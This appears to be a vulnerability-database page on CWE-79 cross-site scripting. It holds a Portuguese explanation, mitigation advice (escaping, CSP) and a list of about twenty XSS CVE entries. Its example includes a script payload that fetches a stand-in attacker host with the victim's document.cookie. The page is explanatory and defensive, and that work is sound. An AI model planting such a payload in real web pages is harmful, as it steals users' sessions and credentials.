Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-51709HIGHWordPress TeleAdmin plugin <= 1.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-116538LOWHtmlSanitizer before 9.2.1039 XSS via SanitizeDom Body and HTML AttributesEPSS 0.3%CVE-2024-53821HIGHWordPress Pie Register Premium plugin < 3.8.3.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-45026MEDIUMWeGIA: Stored XSS in html/atendido/processo_aceitacao.phpEPSS 0.3%CVE-2025-51569MEDIUMA cross-site scripting (XSS) vulnerability exists in the LB-Link BL-CPE300M 01.01.02P42U14_06 router's web interface. The /goform/goform_getEPSS 0.3%CVE-2024-51781HIGHWordPress Firework Shoppable Live Video plugin <= 6.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-51719HIGHWordPress Simplistic SEO plugin <= 2.3.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2020-37256MEDIUMGrav - Cross-Site Scripting in Admin Plugin Page EditorEPSS 0.3%CVE-2024-51712HIGHWordPress Jigoshop plugin <= 1.4.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-13217MEDIUMUltimate Member <= 2.11.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'value'EPSS 0.3%CVE-2024-56210HIGHWordPress UserPro plugin <= 5.1.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-5160MEDIUMVersions of the package github.com/yuin/goldmark/renderer/html before 1.7.17 are vulnerable to Cross-site Scripting (XSS) due to improper orEPSS 0.3%CVE-2024-52473HIGHWordPress HTML5 Lyrics Karaoke Player plugin <= 2.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-10676HIGHWordPress Conversion Helper plugin <= 1.12 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-28871MEDIUMWordPress Block Spam By Math Reloaded plugin <= 2.2.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-47395HIGHWordPress Robokassa payment gateway for Woocommerce plugin <= 1.6.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-44998MEDIUMA stored cross-site scripting (XSS) vulnerability in the component /tinyfilemanager.php of TinyFileManager v2.4.7 allows attackers to executEPSS 0.3%CVE-2024-56338MEDIUMIBM Sterling B2B Integrator cross-site scriptingEPSS 0.3%CVE-2025-44181MEDIUMPhpgurukul Vehicle Record Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in /admin/add-brand.php via the brandname paramEPSS 0.3%CVE-2024-52491MEDIUMWordPress Sticky Social Icons plugin <= 1.2.1 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%